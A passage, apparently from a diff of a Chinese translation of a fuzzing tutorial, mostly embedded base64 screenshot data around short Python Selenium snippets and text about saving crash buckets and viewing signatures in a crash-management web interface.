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dO1cZgMODYsWPqvMViQWxsrG7/ox07dqjzU1NT2Ldvn+7z169fXzRAstlsMBgMuH37tgqbhBDYs2cPJiYmdG3dbjeioqJgMBgwPT296LzGF+gDJP/VPf84u7Dfknbss1sP1THny1lsLqrVhSWxOffUSp3arpGwIcr6w75SfIsFSPkhAqS2fl+AdKHqKdZlL4Qlm4/W4sCVnxYt23bix8dBodfazHIUlurDmy8re4JCqbWZ5bhm61dtzli6dXsoCaMZW08sBFe53z/UndtYWKPCn1cJkJqfjuE9v3tYm1GOvhcLzzjn5gN1Li1gX6Xk0zYIoxmlrY6Q80NERERERCvHAImIiIiI6BdsbGwMY2Nji7YZGhrC1NTUom28Xi8GBgbg8XgWbTc7O4vBwUF4vd6Q551OJwYHB8OGODMzM4vuT7SYwcFBuFyusP0aDAYcOHDgZ5v7B88mMD27+Hy9Do+HJuGaL+EWqTmvRMfAOF5MzizabnRqFm39TjyfCN9ueNyFjoFxTEy7g865PV50DIxjamb156V35CWGx4Of/9/P2FSA1DOsf8+nZz1ofrr494OIiIiIiFaGARIREREREf3inTx5EkIIdHR0vPGx0Ovn9nhRWNql22cp+bTtjY+LiIiIiOi/CQMkIiIiIiL6xSooKMBHH32k9nF60+Ohn8fziRldubyoLAsmXMErooiIiIiI6PVhgERERERERL9YKSkp2L17N27cuIGZmcXLs9Fvx8S0G/EFVUj4vBr5tzsxOBa6tCEREREREb0+DJCIiIiIiIiIiIiIiIhIhwESERERERERERERERER6TBAIiIiIiIiIiIiIiIiIh0GSERERERERERERERERKTDAImIiIiIiIiIiIiIiIh0GCARERERERERERERERGRDgMkIiIiIiIiIiIiIiIi0mGARERERERERERERERERDoMkIiIiIiIiIiIiIiIiEiHARIRERERERERERERERHpMEAiIiIiIiIiIiIiIiIiHQZIREREREREREREREREpMMAiYiIiIiIiIiIiIiIiHQYIBEREREREREREREREZEOAyQiIiIiIiIiIiIiIiLSYYBEREREREREREREREREOgyQiIiIiIiIiIiIiIiISOf/AdCB675JhA+VAAAAAElFTkSuQmCC
+)
+
+单击*保存*接受它。
+
+```py
+save = gui_driver.find_element_by_name("submit_save")
+save.click()
+time.sleep(1)
+
+```
+
+您将被重定向到新创建的存储桶，该存储桶将显示大小（存储的崩溃次数），错误报告状态（存储桶可以链接到Bugbugzilla等外部错误跟踪器中的错误）以及许多其他有用的信息。
+
+### 崩溃签名
+
+如果单击顶部菜单中的*签名*条目，则还应该看到新创建的条目。
+
+```py
+gui_driver.set_window_size(1400, 800)
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABpAAAANnCAYAAAA2jBvHAAAgAElEQVR4nOzdeXhUhb3/8fvnfX7tva1Lbau16kCCwQaFEwKBYADTsKRhXwIRQRBk30NAwh5DTEMSAolMJqMoglit0utSBdEiFkQ2RfC2WFxAC4iUKgwCEj6/P7jnMGeWJMCEOYH3+3leT8tk9pkziec755z/cLlcAgAAAAAAAAAAAEz/Ee07AAAAAAAAAAAAAGdhgAQAAAAAAAAAAAAbBkgAAAAAAAAAAACwYYAEAAAAAAAAAAAAGwZIAAAAAAAAAAAAsGGABAAAAAAAAAAAABsGSAAAAAAAAAAAALBhgAQAAAAAAAAAAAAbBkgAAAAAAAAAAACwYYAEAAAAAAAAoEFaunSpduzYoW3btgHAJduxY4eWLl0a9c80p2GABAAAAAAAAKDBefvtt7V7924dPnxY3377rY4fPw4AF+3bb7/V4cOHtXv3bq1fvz7qn21OwgAJAAAAAAAAQIPi8Xi0e/dunTx5Ut9//71Onz4NAJfs+++/18mTJ7V79255PJ6of8Y5BQMkAAAAAAAAAA3Ktm3bdOTIEZ05c0Znz55VdXW1zp07BwAXrbq6WmfPntWZM2d05MgRbdu2LeqfcU7BAAkAAAAAAABAgxETE6Nt27bp5MmTqq6uFhFRJKqurtbJkycZIPlhgAQAAAAAAACgQdm2bZtOnz6tc+fORXudMxFdJZ07d06nT59mgOSHARIAAAAAAACABoUBEhFFOgZIwRggAQAAAAAAAGhQGCARUaRjgBQsYgOkoqIi/fOf/4yYr776yvrfjIyMqD9RAAAAAAAAAJyBARIRRToGSMEiNkAqKCjQBx98oI8//lgff/yx9uzZE+Tjj+t22p7du7V79259/PHH+uCDD/S73/0u6k8UAAAAAAAAAGdggEREkY4BUrCIDZAWLlyonTt36q6kjkrq0lPtuvVXx76Ddd+AYer8wCh1HjJGGSOmKH3YBHUbMVndRkxSz9HT1G34RHUaNErJ3fqpTXovtf1dH7W4N1X3JHfUXc1baufOnQyQAAAAAAAAAFgYIBFRpGOAFCxiA6RHH31UO3bs0L29stRrxAQNmDhTD85cqFELl2pccZWmVKxSzhMvyvPnd/XiuzuVt+pVTa1YqbFFbhU++4rcf35Xg2fkqcfQ0eqSOVj3de+rth1/qx07djBAwjUpJSVFY8aMuWj3339/1O87znv44YdDvkZZWVlRv2+48lq1aqXRo0ezzF5jYmNjlZycLMMwon5fAAAAgKsJAyQiinRXcoDUtWtXDRs2TFlZWWrVqlXUP1PDidgAKS8vT9u3b1dy90xlPDhafUdna1DOfA2fV6KRjy3T+MVP6YWNO5Vd9aJmLv+Tiv74pl7YuF3uP2/U1PJnNGByrh7MXaiH5pUot